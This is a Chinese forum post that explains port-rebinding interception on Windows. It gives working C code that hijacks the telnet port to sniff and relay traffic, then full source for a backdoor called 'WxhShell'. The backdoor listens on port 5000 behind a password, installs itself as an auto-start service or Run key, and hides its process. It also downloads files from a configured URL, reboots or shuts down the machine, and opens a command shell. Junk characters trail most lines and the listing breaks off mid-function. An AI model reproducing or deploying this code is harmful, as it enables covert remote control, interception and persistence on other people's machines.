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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ne: 'aq  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); b]  
sI.p( -K Q  
  saddr.sin_family = AF_INET; 0O[le*3b  
YSrjg|k*  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); &\%\"Zh  
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  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ) "Z6Q5k^  
b gxk:$E  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 `<{LW>Lb  
w{ ;Sp?Os  
  这意味着什么?意味着可以进行如下的攻击: \SoT^PW  
e+V8I&%  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 _PcF/Gyk  
HX)]@qL  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ut#pg+#Q  
5mS/,fs@  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 k*v${1&  
#0PZa$kM(o  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  n =WH=:&  
TOhWfl;  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Gu@C* .jj!  
E*h!{)z@F  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 TB-dV'w  
Zl>dBc%  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 f >.^7.is  
ik #Wlz`4  
  #include `5e{ec c7  
  #include .9N7`  
  #include #uF`|M$u  
  #include    ~KRS0 ^  
  DWORD WINAPI ClientThread(LPVOID lpParam);   y+Hz(}4  
  int main() D(OJr5Gg  
  { 684|Uuf7  
  WORD wVersionRequested; R$+p4@?S  
  DWORD ret; z(>QGzyc  
  WSADATA wsaData; ,`02fMOLc  
  BOOL val; TMo DN%{  
  SOCKADDR_IN saddr; T@*'}*  
  SOCKADDR_IN scaddr; yM7Iq)o6u  
  int err; /!MVpi'6&  
  SOCKET s; e`:^7$  
  SOCKET sc; ,@/O\fit)  
  int caddsize; \|6VGh \Z  
  HANDLE mt; {o 2 qY|S  
  DWORD tid;   w $Fg 0JS  
  wVersionRequested = MAKEWORD( 2, 2 ); X&kp1Ih<^  
  err = WSAStartup( wVersionRequested, &wsaData ); PXqG;o*Q*?  
  if ( err != 0 ) { jFJ}sX9]  
  printf("error!WSAStartup failed!\n"); <_ENC>NP  
  return -1; nzaA_^`mB  
  } iPkCuLQ}  
  saddr.sin_family = AF_INET; 8\^A;5  
   !^ad{# |X  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 _m[DieR  
o.kDOqd  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); jCXBp>9$M  
  saddr.sin_port = htons(23); &q@brX<,=  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) #UhH  
  { .#-F@0a  
  printf("error!socket failed!\n"); yCA8/)>Gm  
  return -1; KGcjZx04!  
  } 0#DEh|?  
  val = TRUE; :o .+<_ &  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 =JW-EQ6[T  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) co3\1[q"b  
  { ;-XfbqZ\  
  printf("error!setsockopt failed!\n"); J{.UUw9Agd  
  return -1; \1LfDlQk)  
  } s'oNW  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; tv.<pP9-C  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 NPS*0y/  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 k@un}}0r  
w#[cGaIB  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) A=5Ebu!z  
  { R^$|D)(  
  ret=GetLastError(); g&y^r/  
  printf("error!bind failed!\n"); %T\hL\L?  
  return -1; $xbW*w  
  } k}Q<#   
  listen(s,2); =#,`k<v%I  
  while(1) yk)]aqic  
  { 6o7t eX  
  caddsize = sizeof(scaddr); e).;;0  
  //接受连接请求 )-emSV0zE  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);  5QLK  
  if(sc!=INVALID_SOCKET) as!a!1  
  { (y 7X1Qc)  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); F-,chp  
  if(mt==NULL) mHHlm<?]  
  { BkGEx z  
  printf("Thread Creat Failed!\n"); )t"-#$,@  
  break; IlB8~{p_  
  } U31@++C[  
  }  L"%SU  
  CloseHandle(mt); eu9*3'@A  
  } 4$[o;t>  
  closesocket(s); kI)}7e  
  WSACleanup(); vM6W64S  
  return 0; |[IyqWG9  
  }   C_kuW+H  
  DWORD WINAPI ClientThread(LPVOID lpParam) cO*g4VL"[  
  { N UX |  
  SOCKET ss = (SOCKET)lpParam; 3>-h- cpMX  
  SOCKET sc; #$- E5R;x  
  unsigned char buf[4096]; &.\7='$F  
  SOCKADDR_IN saddr; >#x[qX  
  long num; +Gt9!x}#e  
  DWORD val; 1QG q;6\  
  DWORD ret; )/%5f{+}  
  //如果是隐藏端口应用的话,可以在此处加一些判断 P+}~6}wJE  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   26rg-?;V^  
  saddr.sin_family = AF_INET; kuy?n-1g  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); j *G: 8Lg  
  saddr.sin_port = htons(23); robg1  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) \ agZ D+  
  { ,M;9|kE*  
  printf("error!socket failed!\n"); Vv}R S@4U  
  return -1; ~qrSHn}+PU  
  } ]|.ked  
  val = 100; 3@Mh* \;\b  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) X!ruQem /  
  { fk5'v   
  ret = GetLastError(); [jzsB:;XB&  
  return -1; O*~z@"\  
  } ;na%*G`  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) )6C+0b*  
  { dHXe2rTE;&  
  ret = GetLastError(); ]`|$nU}v  
  return -1; 3W%6n-*u  
  } eKvr1m- -  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) *uhQP47B  
  { p35=CX`T.  
  printf("error!socket connect failed!\n"); I[Lg0H8  
  closesocket(sc); /;#kV]nF  
  closesocket(ss); b4e~Z  
  return -1; %-540V{q  
  } &sWr)>vs  
  while(1) + U5Q/g  
  { w W@e#:  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 )N&SrzqTK  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 oQ<[`.s  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 FN-/~Su~J  
  num = recv(ss,buf,4096,0); MO8}i?u=z  
  if(num>0) FOsd{Fw  
  send(sc,buf,num,0); # dWz,e3   
  else if(num==0) Lj<TzPzg*  
  break; OuTV74  
  num = recv(sc,buf,4096,0); M?eP1v:<+G  
  if(num>0) e$Ds2%SaT  
  send(ss,buf,num,0); G+8)a$?v  
  else if(num==0) E+@Q u "W  
  break; {Ya$Q#l  
  } Uz^N6q  
  closesocket(ss); (BVqmi{  
  closesocket(sc); 9efDM  
  return 0 ; &-yRa45?  
  } DQQ]grU  
6DHK&<=D8  
l#KcmOz  
========================================================== z4:!*:.Asu  
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下边附上一个代码,,WXhSHELL @(sz"  
lmzHE8MUNu  
========================================================== Q"XDxa'7"  
kg7F8($  
#include "stdafx.h" w*VN =  
*OG<+#*\_?  
#include <stdio.h> NZB*;U~t  
#include <string.h> /grTOf&  
#include <windows.h> f,TW|Y'{g  
#include <winsock2.h> sN[}B{+  
#include <winsvc.h> Ay?<~)H  
#include <urlmon.h> rv*{[K  
L3, /7  
#pragma comment (lib, "Ws2_32.lib") |IcW7(  
#pragma comment (lib, "urlmon.lib") ?}cmES kX@  
"[_j8,t`  
#define MAX_USER   100 // 最大客户端连接数 h+Co:pr  
#define BUF_SOCK   200 // sock buffer */;7Uv7  
#define KEY_BUFF   255 // 输入 buffer ?.46X^  
XjGS.&'I  
#define REBOOT     0   // 重启 Z!"-LQJ  
#define SHUTDOWN   1   // 关机 k<<x}=  
; j!dbT~5  
#define DEF_PORT   5000 // 监听端口 U#[&(  
PXMd=,}  
#define REG_LEN     16   // 注册表键长度 w.?4}'DK  
#define SVC_LEN     80   // NT服务名长度 Fc1!i8vv  
F/s n"2  
// 从dll定义API w \b+OW  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); m)tu~ neM  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); JQ1MuE'  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Ss>pNH@ c  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); |U|>YA1[b  
BIWe Hx  
// wxhshell配置信息 d+q],\"R  
struct WSCFG { W@T \i2r$z  
  int ws_port;         // 监听端口 {cXr!N^K  
  char ws_passstr[REG_LEN]; // 口令 &>JP.//spi  
  int ws_autoins;       // 安装标记, 1=yes 0=no |(>`qL{|  
  char ws_regname[REG_LEN]; // 注册表键名 QoZV 6  
  char ws_svcname[REG_LEN]; // 服务名 )zr*Ecz  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 BiYxI{VFD  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 }nd>SK4  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 >O-KJZ'GV  
int ws_downexe;       // 下载执行标记, 1=yes 0=no +8Lbz^#  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" GTdoUSUq  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ZyGoOk  
[:y:_ECs6  
}; A & iv  
EqW~K@  
// default Wxhshell configuration L kK *.  
struct WSCFG wscfg={DEF_PORT, q?}C`5%D  
    "xuhuanlingzhe",  k[r^@|  
    1, Ln h =y2  
    "Wxhshell", >C|pY6  
    "Wxhshell", ojd0um6I{  
            "WxhShell Service", ~1uQyt  
    "Wrsky Windows CmdShell Service", >yC=@Uq+  
    "Please Input Your Password: ", tMxd e+ $y  
  1, ZxF`i>/h  
  "http://www.wrsky.com/wxhshell.exe", (P|[< Sd  
  "Wxhshell.exe" G4cgY|71  
    };  i0=U6S:#  
U~x]2{}  
// 消息定义模块 DDeU:  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ` B)@  
char *msg_ws_prompt="\n\r? for help\n\r#>"; _,J+b R+b  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; w2DC5ei'  
char *msg_ws_ext="\n\rExit."; b#_RZ  
char *msg_ws_end="\n\rQuit."; m/=nz.  
char *msg_ws_boot="\n\rReboot..."; A=N$5ZJ  
char *msg_ws_poff="\n\rShutdown..."; 28!C#.(h  
char *msg_ws_down="\n\rSave to "; AP&//b,^M  
53i]Q;k[  
char *msg_ws_err="\n\rErr!"; h:aa^a~y i  
char *msg_ws_ok="\n\rOK!"; [neuwdN  
W@d&X+7e  
char ExeFile[MAX_PATH]; QLd*f[n  
int nUser = 0; E8PDIjp  
HANDLE handles[MAX_USER]; UGcmzwE  
int OsIsNt; ^&>B,;Wu  
7ch9Pf  
SERVICE_STATUS       serviceStatus; ;U* /\+*h  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; /v 8"i^;}  
[^qT?se{  
// 函数声明 sINQ?4_8T  
int Install(void); o2!738  
int Uninstall(void); K<>kT4  
int DownloadFile(char *sURL, SOCKET wsh); e5' I W__  
int Boot(int flag); [}L~zn6>?a  
void HideProc(void); HRf;bKZ  
int GetOsVer(void); r: K1PO  
int Wxhshell(SOCKET wsl); j, 0`k  
void TalkWithClient(void *cs); )~U1sW&t  
int CmdShell(SOCKET sock); ,X@o@W+L  
int StartFromService(void); Uy?jVPL  
int StartWxhshell(LPSTR lpCmdLine); FLi'}C  
&A0OYV3i.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); CHgip&(.F  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Nr4}x7  
#V>R#Oh}  
// 数据结构和表定义 %f]#P8V P  
SERVICE_TABLE_ENTRY DispatchTable[] = y[_k/.1  
{ _uIS[%4g  
{wscfg.ws_svcname, NTServiceMain}, FZi@h  
{NULL, NULL} g|~px$<iY  
}; h(|T.  
K\K& K~Z  
// 自我安装 Hyb(.hlZh  
int Install(void) }3#\vn0gT  
{ <,} h8;Fr  
  char svExeFile[MAX_PATH]; xC`!uPk/pL  
  HKEY key; ,L<JG  
  strcpy(svExeFile,ExeFile); tsb[=W!Ar8  
2*Qv6 :qK  
// 如果是win9x系统,修改注册表设为自启动 `ASDUgx Mq  
if(!OsIsNt) { 'z$N{p40m  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =D1  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _p )NZ7yC  
  RegCloseKey(key); v=llg ^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @v)Z>xv  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Gx C+lqH#  
  RegCloseKey(key); [^hW>O=@TN  
  return 0; xM jn=\}  
    } @| z _&E  
  } ~gI%lORqN  
} NEq_!!/sF  
else { h^3gYL7O6  
'<Zm>L&  
// 如果是NT以上系统,安装为系统服务 h:4(Gm;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); }* :3]  
if (schSCManager!=0) j`_S%E%X  
{ Wiis<^)  
  SC_HANDLE schService = CreateService +CSpL2@  
  ( 3aqH!?rVU  
  schSCManager, aXe&c^AR  
  wscfg.ws_svcname, !l[;,l   
  wscfg.ws_svcdisp, F[ E'R.:  
  SERVICE_ALL_ACCESS, 4"P9z}y=i  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , o 4F'z  
  SERVICE_AUTO_START, SzW;Yb"#^k  
  SERVICE_ERROR_NORMAL, :>&q?xvA  
  svExeFile, wps/{h,  
  NULL, #UM,)bH  
  NULL, x3O%W?5  
  NULL, *6}M.`.-  
  NULL, =$'>VPQ  
  NULL khy'Y&\F;  
  ); NW\CEJV  
  if (schService!=0) )@wC6Ij  
  { e;.,x 5+  
  CloseServiceHandle(schService); X$kLBG_  
  CloseServiceHandle(schSCManager); 't<iB&wgF  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); j )J |'b|  
  strcat(svExeFile,wscfg.ws_svcname); ~5HkDtI)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { -@N-i$!;J  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 'va[)~!  
  RegCloseKey(key); @\by`3*Q  
  return 0; 2 }xePX9?  
    } qk& F>6<9*  
  } u]*7",R uU  
  CloseServiceHandle(schSCManager); + <bj}"  
} K6v~!iiK$  
} I5"wa:Z  
KXt8IMP_"y  
return 1; %vmd2}dA  
} Myc-lCE  
$LXa]  
// 自我卸载 XCM!8x?K  
int Uninstall(void) Jm4uj &}3  
{ opa/+V3E4  
  HKEY key; #cY[c1cNv  
LLx0X O@  
if(!OsIsNt) { kz=ho~ @  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *V&M5  
  RegDeleteValue(key,wscfg.ws_regname); :2/L1A)O  
  RegCloseKey(key); NM. e4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { o0r&w;!  
  RegDeleteValue(key,wscfg.ws_regname); B!'K20"gF  
  RegCloseKey(key); VEWW[ T  
  return 0; 4  %0s p  
  } O=Su E/q  
} k{vj,#  
}  +/B  
else { :w8{BIUN)  
S m(*<H  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Z %pc"  
if (schSCManager!=0) vobC/m  
{ NO5k1/-  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); W2{w<<\$3}  
  if (schService!=0) @<W` w  
  { Iy)1(upM  
  if(DeleteService(schService)!=0) { Jh+;+"  
  CloseServiceHandle(schService); 24wDnDyh  
  CloseServiceHandle(schSCManager); P-X|qVNK1Z  
  return 0; I9kz)Q o  
  } dS1HA>c)O  
  CloseServiceHandle(schService); *R6lK&  
  } I_1?J* b4k  
  CloseServiceHandle(schSCManager); 5o6IpF 0V  
} hb3n- rO  
} k+_>`Gre}  
O*N:A[eW  
return 1; o)I)I/v  
} YJ~<pH  
H; `F}qQ3  
// 从指定url下载文件 l,|Llb  
int DownloadFile(char *sURL, SOCKET wsh) CPZ{  
{ hj];a,Br&  
  HRESULT hr; >Tf}aI+  
char seps[]= "/"; G 2`YZ\  
char *token; %M x|"ff  
char *file; q^[t</_ N  
char myURL[MAX_PATH]; e;6:U85LS  
char myFILE[MAX_PATH]; `}Y)l:G*g  
AE~zm tW  
strcpy(myURL,sURL); XL*M#Jx  
  token=strtok(myURL,seps); }8#olZ/(q  
  while(token!=NULL) *(x.egORd  
  { ^fF#Ej1  
    file=token; o@A`AA9  
  token=strtok(NULL,seps); M7BpOmK'  
  } P#TPI*qw  
QGNKQ`~  
GetCurrentDirectory(MAX_PATH,myFILE); CVO_F=;  
strcat(myFILE, "\\"); xa`xHh{0  
strcat(myFILE, file); jt oS{B,  
  send(wsh,myFILE,strlen(myFILE),0); 4Uny.C]  
send(wsh,"...",3,0); Yo%U{/e  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); t'K+)OK  
  if(hr==S_OK) ;"D}"nL  
return 0; U)dcemQY  
else Lv+{@)  
return 1; +  }"+  
DT-.Gdb8  
} V_3oAu54s{  
[Fh YQI  
// 系统电源模块 +c8`N'~  
int Boot(int flag) Hec8pL  
{ WSpF/Wwc  
  HANDLE hToken; -UEi  
  TOKEN_PRIVILEGES tkp; AYf}=t|  
|6So$;`  
  if(OsIsNt) { | >}CoR7  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); |0Z J[[2  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); M[I=N  
    tkp.PrivilegeCount = 1; o?ug`m"  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; @. sn  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); >|S@twy  
if(flag==REBOOT) { 3nBZ+n4z  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) p7\LLJ y  
  return 0; ]2u   
} {)Wf[2zJ  
else { ?Nt(sZ-  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ]Q FI>  
  return 0; A^}#  
} ql9n`?Q  
  } ~Jf(M ^E  
  else { X!g;;DB\  
if(flag==REBOOT) { ?[#w*Am7  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) TJYhgna  
  return 0; xy`Y7W=  
} aUL7 ]'q}  
else { 7s^b@&Le  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) RV]#Bg*[#  
  return 0; >-c?+oy  
} p+g=Z<?`  
} i7)J|(N2.  
'A{zH{  
return 1; L)M{S3q,  
} 8}yrsF #  
4evN^es'I_  
// win9x进程隐藏模块 _L=-z*a\  
void HideProc(void) >4@w|7lS  
{ g]j&F65D  
~AWn 1vFc  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 1Z0Qkd(  
  if ( hKernel != NULL ) << =cZ.HP  
  { hXFT(J=  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); xjBY6Ylz  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); KsGW@Ho:  
    FreeLibrary(hKernel); 9'(^ Coq  
  } j![1  
~5Fx[q  
return; wYe;xk`>  
} }alq~jY  
M2V`|19Q  
// 获取操作系统版本 gIO_mJ3 u  
int GetOsVer(void) xw{K,; WeO  
{ 4Kt0}W  
  OSVERSIONINFO winfo; =zH)R0!eG  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); F u5zj\0J  
  GetVersionEx(&winfo); cQ$[Ba  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ~;6^n  
  return 1; *_YH}U  
  else 0++RxYFCL  
  return 0; !L +b{  
} ~_0XG0oA  
2iKteJ@h)  
// 客户端句柄模块 E6R\ DM  
int Wxhshell(SOCKET wsl) kJ%a;p`O  
{ 4,@jSr|I3i  
  SOCKET wsh; pj7a l;  
  struct sockaddr_in client; +PBl3  
  DWORD myID; BNk>D|D;  
S['rTuk  
  while(nUser<MAX_USER) aAP86MHO  
{ s5v}S'uO{  
  int nSize=sizeof(client); "%Ief4  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); w15a~\Qu  
  if(wsh==INVALID_SOCKET) return 1; J:)ml  
HjzAFXRG  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); qsEFf(9G  
if(handles[nUser]==0) I] +OYWp  
  closesocket(wsh); J>+\a1{  
else CqWO 0  
  nUser++; `_.:O,^n^  
  } y%9Hu  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); .5>]DZn6  
)" Z|x  
  return 0; ^7Z? }tgU  
} )Pubur %,  
oNYFbZw  
// 关闭 socket Vo[.^0  
void CloseIt(SOCKET wsh) cSv;HN:  
{ E3{kH 7_'\  
closesocket(wsh); Vug[q=i  
nUser--; 'I}wN5`  
ExitThread(0); H`k YDp  
} v6wg,,T  
>B``+ Z^2  
// 客户端请求句柄 `*0VN(gf'  
void TalkWithClient(void *cs) UdcV<#  
{ P}=n^*8(I  
*'?V>q,  
  SOCKET wsh=(SOCKET)cs; 1}Guhayy  
  char pwd[SVC_LEN]; GB Vqc!d  
  char cmd[KEY_BUFF]; 3 QXsr<  
char chr[1]; @:Ft+*2  
int i,j; A:4&XRYZY  
?ecR9X k  
  while (nUser < MAX_USER) { ~("bpS#ZgD  
DD  
if(wscfg.ws_passstr) { CX2qtI8N?  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); FQ 0 ;%Z  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); d~6UJ=]@8  
  //ZeroMemory(pwd,KEY_BUFF); N/#x  
      i=0; "5ISKuL  
  while(i<SVC_LEN) {  `wIWK7i  
C2b<is=H:  
  // 设置超时 a".iVf6y  
  fd_set FdRead; zRgGSxn  
  struct timeval TimeOut; ZmkH55Cn  
  FD_ZERO(&FdRead); FWp ?l  
  FD_SET(wsh,&FdRead); Rxr?T-  
  TimeOut.tv_sec=8; eu]qgtg~U  
  TimeOut.tv_usec=0; a6A~,68/V  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 3&"uf9d  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 9:3`LY3wW  
ew,okRCN  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); UHk)!P>  
  pwd=chr[0]; NBBR>3nt  
  if(chr[0]==0xd || chr[0]==0xa) { ;jQ^8 S  
  pwd=0; Ps(oxj7  
  break; fGA#0/_`  
  } y"8,jm  
  i++; Xwu&K8q21  
    } j%ZBAk)}  
eNH9`Aa  
  // 如果是非法用户,关闭 socket #}Xsi&:XU  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Y~*aA&D  
} x&JD~,Y  
~PAI0+*"q  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); a-nn[ j  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Gf+X<a  
9GT}_ ^fb  
while(1) { Gr}NgyT<!D  
B+jh|@-  
  ZeroMemory(cmd,KEY_BUFF); 8$RiFD ,  
0"GLgj:9  
      // 自动支持客户端 telnet标准   $Fi1Bv)  
  j=0; b?!S$Sxz  
  while(j<KEY_BUFF) { +Y;hVc E9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )lz)h*%#  
  cmd[j]=chr[0]; x|c_(  
  if(chr[0]==0xa || chr[0]==0xd) { _KT'W!7  
  cmd[j]=0; 0N]\f.=`  
  break; 6Z=Qs=q  
  } 9; 9ge  
  j++; Q.3:"dT  
    } X f;R'a,$  
k}qCkm27  
  // 下载文件 sk:B; .z  
  if(strstr(cmd,"http://")) { v>mK~0.$  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); u"wWekB  
  if(DownloadFile(cmd,wsh)) %h,&ND  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); (F3R!n  
  else CGb4C(%-7  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c4Q9foE   
  } Eg}U.ss^  
  else { SjF(;0k C  
}7xcHVO8-  
    switch(cmd[0]) { 9&6P,ts%Q  
  wZJbI[r  
  // 帮助 k=d0%} `M(  
  case '?': { %\}5u[V  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 'mm>E  
    break; #_K<-m%9  
  } K3WaBcm  
  // 安装 gLFTnMO  
  case 'i': { RE D@|[Qh  
    if(Install()) H4T~Kv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #, 1)@[  
    else <u],R.S)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j/NX  
    break; p&4n"hC  
    } <5#2^(  
  // 卸载 nz#eJ  
  case 'r': {  T-+ uQ3  
    if(Uninstall()) [~G1Rz\h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vl+bc[ i~  
    else L(k`1E  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =:6B`,~C  
    break; 4pelIoj  
    } ^K4?uABc  
  // 显示 wxhshell 所在路径 >vYb'%02  
  case 'p': { 9:=:P>  
    char svExeFile[MAX_PATH]; 3^$=XrD  
    strcpy(svExeFile,"\n\r"); Bc-/s(/Eq  
      strcat(svExeFile,ExeFile); kkMChe};5  
        send(wsh,svExeFile,strlen(svExeFile),0); })?-)fFD  
    break; @[f$MRp\  
    } 3` D['  
  // 重启 N_Zd.VnY  
  case 'b': { %~>-nqS  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 4M6[5RAW{  
    if(Boot(REBOOT)) w-NTw2x,&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Tdz#,]Q   
    else { knpdECq&k  
    closesocket(wsh); "3a}~J<g  
    ExitThread(0); ?| 6sTu!  
    } -okq= 9  
    break; *DZ7,$LQ~D  
    } \}Iq-Je   
  // 关机 Y7I\<JG<  
  case 'd': { 0V^I.S/q  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Dbq/t^  
    if(Boot(SHUTDOWN)) 2|WM?V&  
